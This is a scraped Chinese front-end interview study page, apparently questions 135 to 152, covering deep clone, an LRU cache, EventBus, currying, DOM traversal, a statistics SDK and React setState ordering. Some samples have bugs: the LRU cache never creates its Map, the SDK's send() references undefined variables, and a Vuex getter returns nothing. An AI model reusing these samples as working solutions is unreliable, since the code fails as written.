特点 - 仅向右移动Vue2 diff
特点 -updateChildren
双端比较Vue3 diff
特点 -updateChildren
增加了最长递增子序列,更快Vue3
增加了patchFlag
、静态提升、函数缓存等
连环问:diff 算法中 key 为何如此重要
无论在 Vue
还是 React 中,key
的作用都非常大。以 React
为例,是否使用 key
对内部 DOM
变化影响非常大。
<ul>
<li v-for="(index, num) in nums" :key="index">
{{num}}
</li>
</ul>
const todoItems = todos.map((todo) =>
<li key={todo.id}>
{todo.text}
</li>
)
# 第152题 如何做code-review
code review
(简称CR
)即代码走查。领导对下属的代码进行审查,或者同事之间相互审查。CR
已经是现代软件研发流程中非常重要的一步,持续规范的执行CR
可以保证代码质量,避免破窗效应。
CR 检查什么
- 代码规范(
eslint
能检查一部分,但不是全部,如:变量命名) - 重复逻辑抽离、复用
- 单个函数过长,需要拆分
- 算法是否可优化?
- 是否有安全漏洞?
- 扩展性如何?
- 是否和现有的功能重复了?
- 是否有完善的单元测试
- 组件设计是否合理
何时 CR
- 提交
PR
(或者MR
)时,看代码diff
。给出评审意见,或者评审通过。可让领导评审,也可以同事之间相互评审。 - 评审人要负责,不可形式主义。万一这段代码出了问题,评审人也要承担责任。
- 例行,每周组织一次集体
CR
,拿出几个PR
或者几段代码,大家一起评审。 - 可以借机来统一评审规则,也可以像新人来演示如何评审。
# 第151题 手写JS深拷贝-考虑各种数据类型和循环引用
- 使用JSON.stringify
- 无法转换函数
- 无法转换
Map
和Set
- 无法转换循环引用
- 普通深拷贝
- 只考虑
Object
和Array
- 无法转换
Map
、Set
和循环引用 - 只能应对初级要求的技术一面
- 只考虑
普通深拷贝 - 只考虑了简单的数组、对象
/**
* 普通深拷贝 - 只考虑了简单的数组、对象
* @param obj obj
*/
function cloneDeep(obj) {
if (typeof obj !== 'object' || obj == null ) return obj
let result
if (obj instanceof Array) {
result = []
} else {
result = {}
}
for (let key in obj) {
if (obj.hasOwnProperty(key)) {
result[key] = cloneDeep(obj[key]) // 递归调用
}
}
return result
}
// 功能测试
const a: any = {
set: new Set([10, 20, 30]),
map: new Map([['x', 10], ['y', 20]])
}
a.self = a
console.log( cloneDeep(a) ) // 无法处理 Map Set 和循环引用
深拷贝-考虑数组、对象、Map、Set、循环引用
/**
* 深拷贝
* @param obj obj
* @param map weakmap 为了避免循环引用、避免导致内存泄露的风险
*/
function cloneDeep(obj, map = new WeakMap()) {
if (typeof obj !== 'object' || obj == null ) return obj
// 避免循环引用
const objFromMap = map.get(obj)
if (objFromMap) return objFromMap
let target = {}
map.set(obj, target)
// Map
if (obj instanceof Map) {
target = new Map()
obj.forEach((v, k) => {
const v1 = cloneDeep(v, map)
const k1 = cloneDeep(k, map)
target.set(k1, v1)
})
}
// Set
if (obj instanceof Set) {
target = new Set()
obj.forEach(v => {
const v1 = cloneDeep(v, map)
target.add(v1)
})
}
// Array
if (obj instanceof Array) {
target = obj.map(item => cloneDeep(item, map))
}
// Object
for (const key in obj) {
const val = obj[key]
const val1 = cloneDeep(val, map)
target[key] = val1
}
return target
}
// 功能测试
const a: any = {
set: new Set([10, 20, 30]),
map: new Map([['x', 10], ['y', 20]]),
info: {
city: 'shenzhen'
},
fn: () => { console.info(100) }
}
a.self = a
console.log( cloneDeep(a) )
# 第150题 用JS实现一个LRU缓存
- 什么是LRU缓存
LRU(Least Recently Used)
最近最少使用- 假如我们有一块内存,专门用来缓存我们最近发访问的网页,访问一个新网页,我们就会往内存中添加一个网页地址,随着网页的不断增加,内存存满了,这个时候我们就需要考虑删除一些网页了。这个时候我们找到内存中最早访问的那个网页地址,然后把它删掉。这一整个过程就可以称之为
LRU
算法 - 核心两个
API
,get
和set
- 分析
- 用哈希表存储数据,这样
get
set
才够快,时间复杂度O(1)
- 必须是有序的,常用数据放在前面,沉水数据放在后面
- 哈希表 + 有序,就是
Map
- 用哈希表存储数据,这样
class LRUCache {
constructor(length) {
if (length < 1) throw new Error('invalid length')
this.length = length
}
set(key, value) {
const data = this.data
if (data.has(key)) {
data.delete(key)
}
data.set(key, value)
if (data.size > this.length) {
// 如果超出了容量,则删除 Map 最老的元素
const delKey = data.keys().next().value
data.delete(delKey)
}
}
get(key) {
const data = this.data
if (!data.has(key)) return null
const value = data.get(key)
// 先删除,再添加,就是最新的了
data.delete(key)
data.set(key, value)
return value
}
}
// 测试
const lruCache = new LRUCache(2)
lruCache.set(1, 1) // {1=1}
lruCache.set(2, 2) // {1=1, 2=2}
console.info(lruCache.get(1)) // 1 {2=2, 1=1}
lruCache.set(3, 3) // {1=1, 3=3}
console.info(lruCache.get(2)) // null
lruCache.set(4, 4) // {3=3, 4=4}
console.info(lruCache.get(1)) // null
console.info(lruCache.get(3)) // 3 {4=4, 3=3}
console.info(lruCache.get(4)) // 4 {3=3, 4=4}
# 第149题 手写EventBus自定义事件
分析
on
和once
注册函数,存储起来emit
时找到对应的函数,执行off
找到对应函数,从存储中删除
注意
on
绑定的事件可以连续执行,除非off
once
绑定的函数emit
一次即删除,也可以未执行而被off
实现方式1
class EventBus {
/**
* {
* 'key1': [
* { fn: fn1, isOnce: false },
* { fn: fn2, isOnce: false },
* { fn: fn3, isOnce: true },
* ]
* 'key2': [] // 有序
* 'key3': []
* }
*/
constructor() {
this.events = {}
}
on(type, fn, isOnce = false) {
const events = this.events
if (events[type] == null) {
events[type] = [] // 初始化 key 的 fn 数组
}
events[type].push({ fn, isOnce })
}
once(type, fn) {
this.on(type, fn, true)
}
off(type, fn) {
if (!fn) {
// 解绑所有 type 的函数
this.events[type] = []
} else {
// 解绑单个 fn
const fnList = this.events[type]
if (fnList) {
this.events[type] = fnList.filter(item => item.fn !== fn)
}
}
}
emit(type, ...args) {
const fnList = this.events[type]
if (fnList == null) return
// 注意过滤后重新赋值
this.events[type] = fnList.filter(item => {
const { fn, isOnce } = item
fn(...args)
// once 执行一次就要被过滤掉
if (!isOnce) return true
return false
})
}
}
实现方式2:拆分保存 on 和 once 事件
// 拆分保存 on 和 once 事件
class EventBus {
constructor() {
this.events = {} // { key1: [fn1, fn2], key2: [fn1, fn2] }
this.onceEvents = {}
}
on(type, fn) {
const events = this.events
if (events[type] == null) events[type] = []
events[type].push(fn)
}
once(type, fn) {
const onceEvents = this.onceEvents
if (onceEvents[type] == null) onceEvents[type] = []
onceEvents[type].push(fn)
}
off(type, fn) {
if (!fn) {
// 解绑所有事件
this.events[type] = []
this.onceEvents[type] = []
} else {
// 解绑单个事件
const fnList = this.events[type]
const onceFnList = this.onceEvents[type]
if (fnList) {
this.events[type] = fnList.filter(curFn => curFn !== fn)
}
if (onceFnList) {
this.onceEvents[type] = onceFnList.filter(curFn => curFn !== fn)
}
}
}
emit(type, ...args) {
const fnList = this.events[type]
const onceFnList = this.onceEvents[type]
if (fnList) {
fnList.forEach(f => f(...args))
}
if (onceFnList) {
onceFnList.forEach(f => f(...args))
// once 执行一次就删除
this.onceEvents[type] = []
}
}
}
// 测试
const e = new EventBus()
function fn1(a, b) { console.log('fn1', a, b) }
function fn2(a, b) { console.log('fn2', a, b) }
function fn3(a, b) { console.log('fn3', a, b) }
e.on('key1', fn1)
e.on('key1', fn2)
e.once('key1', fn3)
e.on('xxxxxx', fn3)
e.emit('key1', 10, 20) // 触发 fn1 fn2 fn3
e.off('key1', fn1)
e.emit('key1', 100, 200) // 触发 fn2
# 第148题 手写curry函数,实现函数柯里化
分析
curry
返回的是一个函数fn
- 执行
fn
,中间状态返回函数,如add(1)
或者add(1)(2)
- 最后返回执行结果,如
add(1)(2)(3)
// 实现函数柯里化
function curry(fn) {
const fnArgsLength = fn.length // 传入函数的参数长度
let args = []
function calc(...newArgs) {
// 积累参数保存到闭包中
args = [
...args,
...newArgs
]
// 积累的参数长度跟传入函数的参数长度对比
if (args.length < fnArgsLength) {
// 参数不够,返回函数
return calc
} else {
// 参数够了,返回执行结果
return fn.apply(this, args.slice(0, fnArgsLength)) // 传入超过fnArgsLength长度的参数没有意义
}
}
// 返回一个函数
return calc
}
// 测试
function add(a, b, c) {
return a + b + c
}
// add(10, 20, 30) // 60
var curryAdd = curry(add)
var res = curryAdd(10)(20)(30) // 60
console.info(res)
# 第147题 手写一个LazyMan,实现sleep机制
- 支持
sleep
和eat
两个方法 - 支持链式调用
// LazyMan示例
const me = new LazyMan('张三')
me.eat('苹果').eat('香蕉').sleep(5).eat('葡萄')
// 打印
// 张三 eat 苹果
// 张三 eat 香蕉
// 等待5秒
// 张三 eat 葡萄
思路
- 由于有
sleep
功能,函数不能直接在调用时触发 - 初始化一个列表,把函数注册进去
- 由每个
item
触发next
执行(遇到sleep
则异步触发,使用setTimeout
)
/**
* @description lazy man
*/
class LazyMan {
constructor(name) {
this.name = name
this.tasks = [] // 任务列表
// 等注册完后在初始执行next
setTimeout(() => {
this.next()
})
}
next() {
const task = this.tasks.shift() // 取出当前 tasks 的第一个任务
if (task) task()
}
eat(food) {
const task = () => {
console.info(`${this.name} eat ${food}`)
this.next() // 立刻执行下一个任务
}
this.tasks.push(task)
return this // 链式调用
}
sleep(seconds) {
const task = () => {
console.info(`${this.name} 开始睡觉`)
setTimeout(() => {
console.info(`${this.name} 已经睡完了 ${seconds}s,开始执行下一个任务`)
this.next() // xx 秒之后再执行下一个任务
}, seconds * 1000)
}
this.tasks.push(task)
return this // 链式调用
}
}
// 测试
const me = new LazyMan('张三')
me.eat('苹果').eat('香蕉').sleep(2).eat('葡萄').eat('西瓜').sleep(2).eat('橘子')
# 第146题 深度优先和广度优先遍历一个DOM树
遍历DOM树
- 给一个
DOM
树 - 深度优先遍历结果会输出什么
- 广度优先遍历结果会输出什么
<!-- 需要遍历的html节点 -->
<div id="box">
<p>hello <b>world</b></p>
<img src="https://www.baidu.com/img/flexible/logo/pc/result.png"/>
<!-注释->
<ul>
<li>a</li>
<li>b</li>
</ul>
</div>
深度优先,以深为主,递归,贪心,有深就深入,否则在回溯到上一级父节点
广度优先,使用队列,对子节点以广为主一层层的遍历
# 深度优先遍历一个DOM树
/**
* 访问节点
* @param n node
*/
function visitNode(n) {
if (n instanceof Comment) {
// 注释
console.info('Comment node ---', n.textContent)
}
if (n instanceof Text) {
// 文本
const t = n.textContent?.trim() // 去掉换行符
if (t) {
console.info('Text node ---', t)
}
}
if (n instanceof HTMLElement) {
// element
console.info('Element node ---', `<${n.tagName.toLowerCase()}>`)
}
}
深度优先遍历-递归
/**
* 深度优先遍历-递归
* @param root dom node
*/
function depthFirstTraverse1(root) {
visitNode(root) // 先访问root节点
// .childNodes 和 .children 不一样
// children // children是HTMLCollection 只获取元素
// childNodes // childNodes是NodeList 包含Text和Comment节点
const childNodes = root.childNodes
if (childNodes.length) {
childNodes.forEach(child => {
depthFirstTraverse1(child) // 递归 深入访问子节点
})
}
}
深度优先遍历-栈实现
/**
* 可以不用递归,用栈。因为递归本身就是栈
* 深度优先遍历:使用栈来实现 先进后出 进push 出pop
* @param root dom node
*/
function depthFirstTraverse2(root) {
const stack = []
// 根节点压栈
stack.push(root)
// stack.length继续访问栈顶
while (stack.length > 0) {
const curNode = stack.pop() // 出栈
if (curNode == null) break
visitNode(curNode) // 访问栈顶
// 子节点压栈
const childNodes = curNode.childNodes
if (childNodes.length > 0) {
// reverse 反顺序压栈
// 压栈过程 [div,ul,comment,img,p,b,hello,world,li右,li左,a,b] 遇到子节点倒叙压栈
Array.from(childNodes).reverse().forEach(child => stack.push(child))
}
}
}
- 递归逻辑更加清晰,但容易发生栈溢出错误。频繁创建函数,效率低一些
- 非递归效率好,但逻辑比较复杂
<!-- 测试 -->
<div id="box">
<p>hello <b>world</b></p>
<img src="https://www.baidu.com/img/flexible/logo/pc/result.png"/>
<!-注释->
<ul>
<li>a</li>
<li>b</li>
</ul>
</div>
<script>
const box = document.getElementById('box')
depthFirstTraverse2(box)
</script>
深度优先遍历结果
# 广度优先遍历一个DOM树
/**
* 广度优先遍历 需要一个队列:先进先出 进unshift 出pop
* @param root dom node
*/
function breadthFirstTraverse(root) {
const queue = [] // 数组 vs 链表实现性能更好一些
// 根节点入队列
queue.unshift(root)
while (queue.length > 0) {
const curNode = queue.pop() // 当前节点
if (curNode == null) break
visitNode(curNode)
// 子节点入队
const childNodes = curNode.childNodes
if (childNodes.length) {
// queue = [ul, comment, img, p] 出队pop p标签出来访问 img出来访问 ...
// p标签访问 也会导致子p下的子节点入队 [<b>,hello] ...
childNodes.forEach(child => queue.unshift(child))
}
}
}
<!-- 测试 -->
<div id="box">
<p>hello <b>world</b></p>
<img src="https://www.baidu.com/img/flexible/logo/pc/result.png"/>
<!-注释->
<ul>
<li>a</li>
<li>b</li>
</ul>
</div>
<script>
const box = document.getElementById('box')
breadthFirstTraverse(box)
</script>
广度优先遍历结果
# 第145题 手写一个getType函数,获取详细的数据类型
- 获取类型
- 手写一个
getType
函数,传入任意变量,可准确获取类型 - 如
number
、string
、boolean
等值类型 - 引用类型
object
、array
、map
、regexp
- 手写一个
/**
* 获取详细的数据类型
* @param x x
*/
function getType(x) {
const originType = Object.prototype.toString.call(x) // '[object String]'
const spaceIndex = originType.indexOf(' ')
const type = originType.slice(spaceIndex + 1, -1) // 'String' -1不要右边的]
return type.toLowerCase() // 'string'
}
// 功能测试
console.info( getType(null) ) // null
console.info( getType(undefined) ) // undefined
console.info( getType(100) ) // number
console.info( getType('abc') ) // string
console.info( getType(true) ) // boolean
console.info( getType(Symbol()) ) // symbol
console.info( getType({}) ) // object
console.info( getType([]) ) // array
console.info( getType(() => {}) ) // function
console.info( getType(new Date()) ) // date
console.info( getType(new RegExp('')) ) // regexp
console.info( getType(new Map()) ) // map
console.info( getType(new Set()) ) // set
console.info( getType(new WeakMap()) ) // weakmap
console.info( getType(new WeakSet()) ) // weakset
console.info( getType(new Error()) ) // error
console.info( getType(new Promise(() => {})) ) // promise
# 第144题 手写一个JS函数,实现数组扁平化Array Flatten
- 写一个JS函数,实现数组扁平化,只减少一次嵌套
- 如输入
[1,[2,[3]],4]
输出[1,2,[3],4]
思路
- 定义空数组
arr=[]
遍历当前数组 - 如果
item
非数组,则累加到arr
- 如果
item
是数组,则遍历之后累加到arr
/**
* 数组扁平化,使用 push
* @param arr arr
*/
function flatten1(arr) {
const res = []
arr.forEach(item => {
if (Array.isArray(item)) {
item.forEach(n => res.push(n))
} else {
res.push(item)
}
})
return res
}
/**
* 数组扁平化,使用 concat
* @param arr arr
*/
function flatten2(arr) {
let res = []
arr.forEach(item => {
res = res.concat(item)
})
return res
}
// 功能测试
const arr = [1, [2, [3], 4], 5]
console.info(flatten2(arr))
连环问:手写一个JS函数,实现数组深度扁平化
- 如输入
[1, [2, [3]], 4]
输出[1,2,3,4]
思路
- 先实现一级扁平化,然后递归调用,直到全部扁平化
/**
* 数组深度扁平化,使用 push
* @param arr arr
*/
function flattenDeep1(arr) {
const res = []
arr.forEach(item => {
if (Array.isArray(item)) {
const flatItem = flattenDeep1(item) // 递归
flatItem.forEach(n => res.push(n))
} else {
res.push(item)
}
})
return res
}
/**
* 数组深度扁平化,使用 concat
* @param arr arr
*/
function flattenDeep2(arr) {
let res = []
arr.forEach(item => {
if (Array.isArray(item)) {
const flatItem = flattenDeep2(item) // 递归
res = res.concat(flatItem)
} else {
res = res.concat(item)
}
})
return res
}
// 功能测试
const arr = [1, [2, [3, ['a', [true], 'b'], 4], 5], 6]
console.info( flattenDeep2(arr) )
# 第143题 设计实现一个H5图片懒加载
- 分析
- 定义
<img src="loading.png" data-src="xx.png" />
- 页面滚动时,图片露出,将
data-src
赋值给src
- 滚动要节流
- 定义
- 获取图片定位
- 元素的位置
ele.getBoundingClientRect
- 图片
top > window.innerHeight
没有露出,top < window.innerHeight
露出
- 元素的位置
<!-- 图片拦截加载 -->
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal1.jpeg"/>
</div>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal2.webp"/>
</div>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal3.jpeg"/>
</div>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal4.webp"/>
</div>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal5.webp"/>
</div>
<div class="item-container">
<p>新闻标题</p>
<img src="./img/loading.gif" data-src="./img/animal6.webp"/>
</div>
<script src="https://cdn.bootcdn.net/ajax/libs/lodash.js/4.17.21/lodash.min.js"></script>
<script>
function mapImagesAndTryLoad() {
const images = document.querySelectorAll('img[data-src]')
if (images.length === 0) return
images.forEach(img => {
const rect = img.getBoundingClientRect()
if (rect.top < window.innerHeight) {
// 漏出来
// console.info('loading img', img.dataset.src)
img.src = img.dataset.src
img.removeAttribute('data-src') // 移除 data-src 属性,为了下次执行时减少计算成本
}
})
}
// 滚动需要节流
window.addEventListener('scroll', _.throttle(() => {
mapImagesAndTryLoad()
}, 100))
// 初始化默认执行一次
mapImagesAndTryLoad()
</script>
# 第142题 如果你是项目前端技术负责人,将如何做技术选型
- 技术选型,选什么?
- 前端框架(
Vue React Nuxt.hs Next.js
或者nodejs
框架) - 语言(
JavaScript
或Typescript
) - 其他(构建工具、
CI/CD
等)
- 前端框架(
- 技术选型的依据
- 社区是否足够成熟
- 公司已经有了经验积累
- 团队成员的学习成本
- 要站在公司角度,而非个人角度
- 要全面考虑各种成本
- 学习成本
- 管理成本(如用
TS
遍地都是any
怎么办) - 运维成本(如用
ssr
技术)
# 第141题 开发一个H5抽奖页,需要后端提供哪些接口
- 常用答案
- 抽奖接口
- 用户信息接口(需要知道抽奖人是谁)
- 是否已经抽奖
- 先梳理页面业务流程图
- 答案
- 登录,获取用户信息,用户是否已抽奖
- 抽奖接口
- 统计接口,微信
JSSDK
信息(需要和PM确定是否需要)
- 其他
- 让页面动起来,分析业务流程
- 技术人员要去熟悉业务,技术永远是为业务服务的
# 第140题 简单描述hybrid模板的更新流程
增加版本后
- App何时下载新版本
App
启动时检查、下载- 实时,每隔
5min
检查、下载
- 延迟使用
- 立即下载、使用会影响性能(下载需要时间,网络环境不同)
- 检查到新版本,现在后台下载,此时先用着老版本
- 待新版本下载完成,在替换为新版本,开始使用
- 总结
hybrid
运转流程- 模板的延迟使用
# 第139题 设计一个“用户-角色-权限”的模型和功能
- 例如一个博客管理后台
- 普通成员:查看博客,审核博客,下架博客
- 管理员:普通用户权限 + 修改博客 + 删除博客
- 超级管理员:管理员角色 + 添加、删除用户、绑定用户和角色
- 基于角色的访问控制
RBAC(Role based access control)
RBAC
三个模型,两个关系RBAC
举例- 功能模块
- 用户管理:增删改查,绑定角色
- 角色管理:增删改查,绑定权限
- 权限管理:增删改查
- 总结
- 尽量去参考现有标准
- 设计就是数据模型(关系)+ 如何操作数据(功能)
# 第138题 设计一个H5编辑器的数据模型和核心功能
- 使用vue+vuex开发
- 问题1:点击保存按钮,提交给服务端的数据格式怎么设计
- 问题2:如何保证画布和属性面板的信息同步
- 问题3:如果在拓展一个图层面板,
vuex
如何设计数据
- 总结
- 组件有序结构,参考
vnode
格式 - 通过
id
对应选中的组件,即可使用vuex
同步数据 - 图层使用
vuex getter
,而非独立的数据
- 组件有序结构,参考
// 问题1 提交给服务端的数据格式怎么设计
// 错误示例
const page = {
// Array 才有序
components: {
'text1': {
type: 'text',
value: '文本1',
style: {
color: 'red',
fontSize: '16px',
},
attrs: {
},
on: {
}
},
'text2': {
type: 'text',
value: '文本2',
color: 'red',
fontSize: '16px',
},
'img1': {
type: 'image',
src: 'xxx.png',
width: '100px'
}
}
}
// 存在问题
// 组件应该是有序的结构,属性应该参考vnode设计
// 正确示例
const store = {
page: {
title: '标题',
setting: { /* 其他扩展信息:多语言,微信分享的配置,其他 */ },
props: { /* 当前页面的属性设置,背景 */ },
components: [
// components 有序,数组
// 参考vnode来设计
{
id: 'x1',
name: '文本1',
tag: 'text', // type
style: { color: 'red', fontSize: '16px' },
attrs: { /* 其他属性 */ },
text: '文本1',
},
{
// 文本2
},
{
id: 'x3',
name: '图片1',
tag: 'image',
style: { width: '100px' },
attrs: { src: 'xxx.png' }
}
]
},
// 问题二:如何保证画布和属性面板的信息同步
// vuex 同步
// 用于记录当前选中的组件,记录 id 即可
activeComponentId: 'x3'
}
// 问题三:如果在拓展一个图层面板,vuex如何设计数据
// 错误示例
{
layers: [
{
id: 'text1',
name: '文本1'
},
{
id: 'text2', // component id
name: '文本2' // layer name
},
{
id: 'img1',
name: '图片'
},
]
}
// 存在问题
// 图层,仅仅是一个索引,应该用computed这种格式
// 正确示例
// Vuex getters
const getters = {
// Vue computed
// 图层里面的数据等于是把画布components重新计算了一遍
// layers是画布的一个影子
layers() {
store.page.components.map(c => {
return {
id: c.id,
name: c.name
}
})
}
}
# 第137题 SPA和MPA应该如何选择
SPA(Single Page Application)
单页面应用MPA(Multi Page Application)
多页面应用- 默认情况下
Vue
、React
都是SPA
SPA
特点- 一个
HTML
页面通过前端路由来切换不同的前端功能 - 以为操作为主,非展示为主
- 适合一个综合
web
应用 - SPA场景
- 大型后台管理系统
- 比较复杂的
WebApp
如外卖H5
- 一个
MPA
特点- 功能较少,一个页面展示的完
- 以为展示为主,操作比较少
- 适合一个孤立的页面
- MPA场景
- 分享页,如腾讯文档分享出去
- 新闻详情页,如新闻
App
的详情页 - 这类不合适用
SPA
做,生成的JS
包大,加载慢
// spa单页应用配置
module.exports = {
entry: path.join(srcPath, 'index'), // 单入口
plugins: [
new HtmlWebpackPlugin({
template: path.join(tplPath, 'index.html'), // 单个页面
filename: 'index.html'
})
]
}
// mpa多页应用配置
module.exports = {
mode: 'production',
// 多入口
entry: {
home: './src/home/index.js',
product: './src/product/index.js',
about: './src/about/index.js'
},
output: {
filename: 'js/[name].[contentHash].js', // name 即 entry 的 key
path: path.resolve(__dirname, './dist')
},
plugins: [
// 三个页面
new HtmlWebpackPlugin({
title: '首页',
template: './template/index.html',
filename: 'home.html',
chunks: ['home']
}),
new HtmlWebpackPlugin({
title: '产品',
template: './template/product.html',
filename: 'product.html',
chunks: ['product']
}),
new HtmlWebpackPlugin({
title: '关于',
template: './template/about.html',
filename: 'about.html',
chunks: ['about']
})
]
}
# 第136题 如何设计一个前端统计SDK
- 前端统计的范围
- 访问量
PV
- 自定义事件
- 性能,错误
- 访问量
// 统计sdk
const PV_URL_SET = new Set()
class MyStatistic {
constructor(productId) {
this.productId = productId
// 内部处理
this.initPerformance() // 性能统计
this.initError() // 错误监控
}
// 发送统计数据
send(url, params = {}) {
params.productId = productId
const paramArr = []
for (let key in params) {
const val = params[key]
paramArr.push(`${key}=${value}`)
}
const newUrl = `${url}?${paramArr.join('&')}` // url?a=10&b=20
// 用 <img> 发送:1. 可跨域;2. 兼容性非常好
const img = document.createElement('img')
img.src = newUrl // get
}
// 初始化性能统计
initPerformance() {
const url = 'yyy'
this.send(url, performance.timing) // 给最原始的、完整的结果,原始数据。让服务端加工处理
}
// 初始化错误监控
initError() {
window.addEventListener('error', event => {
const { error, lineno, colno } = event
this.error(error, { lineno, colno })
})
// Promise 未 catch 住的报错
window.addEventListener('unhandledrejection', event => {
this.error(new Error(event.reason), { type: 'unhandledrejection' })
})
}
pv() {
const href = location.href
if (PV_URL_SET.get(href)) return // 不重复发送 pv
this.event('pv')
PV_URL_SET.add(href)
}
event(key, val) {
const url = 'xxx' // 自定义事件统计 server API
this.send(url, {key, val})
}
error(err, info = {}) {
const url = 'zzz'
const { message, stack } = err
this.send(url, { message, stack, ...info })
}
}
// const s = new MyStatistic('a1') // 最好在DOMContentLoaded的时候在初始化
// s.pv() // 用户主动发送 SPA 路由切换 PV
// 用户自行发送自定义事件
// s.event('vip', 'close')
// 用户处理try catch
// try {
// } catch(ex) {
// s.error(ex, {})
// }
// 在vue、react单独监听配置的错误的配置 也可以s.error单独发过去。跟try catch一样的
连环问:sourcemap有何作用,如何配置
有js
报错,可能会问sourcemap
相关问题
- sourcemap作用
JS
上线时要压缩、混淆- 线上的
JS
报错信息,将无法识别行、列 sourcemap
即可解决这个问题
webpack
通过devtool
配置sourcemap
eval
:JS
在eval(...)
中,不生成sourcemap
source-map
:生成单独的map
文件,并在JS
最后指定eval-source-map
:JS
在eval(...)
中,sourcemap
内嵌inline-source-map
:sourcemap
内嵌到JS
中,不是单独文件cheap-source-map
:sourcemap
中只有行信息,没有列eval-cheap-source-map
:JS
在eval(...)
中,没有独立的sourcemap
文件,cheap-source-map
只有行没有列- 总结
- 开发环境使用
eval
效率高:eval
、eval-source-map
、eval-cheap-source-map
- 线上环境使用:
source-map
生成单独的map
文件(不要泄露sourcemap
文件)
- 开发环境使用
# 第135题 React setState经典面试题
// setState笔试题考察 下面这道题输出什么
class Example extends React.Component {
constructor() {
super()
this.state = {
val: 0
}
}
componentDidMount() {
this.setState({ val: this.state.val + 1 })
console.log(this.state.val)
// 第 1 次 log
this.setState({ val: this.state.val + 1 })
console.log(this.state.val)
// 第 2 次 log
setTimeout(() => {
this.setState({ val: this.state.val + 1 })
console.log(this.state.val)
// 第 3 次 log
this.setState({ val: this.state.val + 1 })
console.log(this.state.val)
// 第 4 次 log
}, 0)
}
render() {
return null
}
}
答案
// 答案
0
0
2
3
- 关于setState的两个考点
- 同步或异步
state
合并或不合并setState
传入函数不会合并覆盖setState
传入对象会合并覆盖Object.assigin({})
- 分析
- 默认情况
state
默认异步更新state
默认合并后更新(后面的覆盖前面的,多次重复执行不会累加)
setState
在合成事件和生命周期钩子中,是异步更新的- react同步更新,不在react上下文中触发
- 在
原生事件
、setTimeout
、setInterval
、promise.then
、Ajax
回调中,setState
是同步的,可以马上获取更新后的值- 原生事件如
document.getElementById('test').addEventListener('click',()=>{this.setState({count:this.state.count + 1}})
- 原生事件如
- 原因: 原生事件是浏览器本身的实现,与事务流无关,自然是同步;而
setTimeout
是放置于定时器线程中延后执行,此时事务流已结束,因此也是同步
- 在
- 注意:在react18中不一样
- 上述场景,在
react18
中可以异步更新(Auto Batch
) - 需将
ReactDOM.render
替换为ReactDOM.createRoot
- 上述场景,在
- 默认情况
如需要实时获取结果,在回调函数中获取
setState({count:this.state.count + 1},()=>console.log(this.state.count)})
// setState原理模拟
let isBatchingUpdate = true;
let queue = [];
let state = {number:0};
function setState(newSate){
//state={...state,...newSate}
// setState异步更新
if(isBatchingUpdate){
queue.push(newSate);
}else{
// setState同步更新
state={...state,...newSate}
}
}
// react事件是合成事件,在合成事件中isBatchingUpdate需要设置为true
// 模拟react中事件点击
function handleClick(){
isBatchingUpdate=true; // 批量更新标志
/**我们自己逻辑开始 */
setState({number:state.number+1});
setState({number:state.number+1});
console.log(state); // 0
setState({number:state.number+1});
console.log(state); // 0
/**我们自己逻辑结束 */
state= queue.reduce((newState,action)=>{
return {...newState,...action}
},state);
}
handleClick();
console.log(state); // 1
// setState笔试题考察 下面这道题输出什么
class Example extends React.Component {
constructor() {
super()
this.state = {
val: 0
}
}
// componentDidMount中isBatchingUpdate=true setState批量更新
componentDidMount() {
// setState传入对象会合并,后面覆盖前面的Object.assign({})
this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
console.log(this.state.val)
// 第 1 次 log
this.setState({ val: this.state.val + 1 }) // 添加到queue队列中,等待处理
console.log(this.state.val)
// 第 2 次 log
setTimeout(() => {
// 到这里this.state.val结果等于1了
// 在原生事件和setTimeout中(isBatchingUpdate=false),setState同步更新,可以马上获取更新后的值
this.setState({ val: this.state.val + 1 }) // 同步更新
console.log(this.state.val)
// 第 3 次 log
this.setState({ val: this.state.val + 1 }) // 同步更新
console.log(this.state.val)
// 第 4 次 log
}, 0)
}
render() {
return null
}
}
// 答案:0, 0, 2, 3
在
React 18
之前,setState
在React
的合成事件中是合并更新的,在setTimeout
的原生事件中是同步按序更新的。例如
handleClick = () => {
this.setState({ age: this.state.age + 1 });
console.log(this.state.age); // 0
this.setState({ age: this.state.age + 1 });
console.log(this.state.age); // 0
this.setState({ age: this.state.age + 1 });
console.log(this.state.age); // 0
setTimeout(() => {
this.setState({ age: this.state.age + 1 });
console.log(this.state.age); // 2
this.setState({ age: this.state.age + 1 });
console.log(this.state.age); // 3
});
};
而在
React 18
中,不论是在合成事件中,还是在宏任务中,都是会合并更新
function handleClick() {
setState({ age: state.age + 1 }, onePriority);
console.log(state.age);// 0
setState({ age: state.age + 1 }, onePriority);
console.log(state.age); // 0
setTimeout(() => {
setState({ age: state.age + 1 }, towPriority);
console.log(state.age); // 1
setState({ age: state.age + 1 }, towPriority);
console.log(state.age); // 1
});
}
// 拓展:setState传入函数不会合并
class Example extends React.Component {
constructor() {
super()
this.state = {
val: 0
}
}
componentDidMount() {
this.setState((prevState,props)=>{
return {val: prevState.val + 1}
})
console.log(this.state.val) // 0
// 第 1 次 log
this.setState((prevState,props)=>{ // 传入函数,不会合并覆盖前面的
return {val: prevState.val + 1}
})
console.log(this.state.val) // 0
// 第 2 次 log
setTimeout(() => {
// setTimeout中setState同步执行
// 到这里this.state.val结果等于2了
this.setState({ val: this.state.val + 1 })
console.log(this.state.val) // 3
// 第 3 次 log
this.setState({ val: this.state.val + 1 })
console.log(this.state.val) // 4
// 第 4 次 log
}, 0)
}
render() {
return null
}
}
// 答案:0 0 3 4
// react hooks中打印
function useStateDemo() {
const [value, setValue] = useState(100)
function clickHandler() {
// 1.传入常量,state会合并
setValue(value + 1)
setValue(value + 1)
console.log(1, value) // 100
// 2.传入函数,state不会合并
setValue(value=>value + 1)
setValue(value=>value + 1)
console.log(2, value) // 100
// 3.setTimeout中,React18也开始合并state(之前版本会同步更新、不合并)
setTimeout(()=>{
setValue(value + 1)
setValue(value + 1)
console.log(3, value) // 100
setValue(value + 1)
})
// 4.同理 setTimeout中,传入函数不合并
setTimeout(()=>{
setValue(value => value + 1)
setValue(value => value + 1)
console.log(4, value) // 100
})
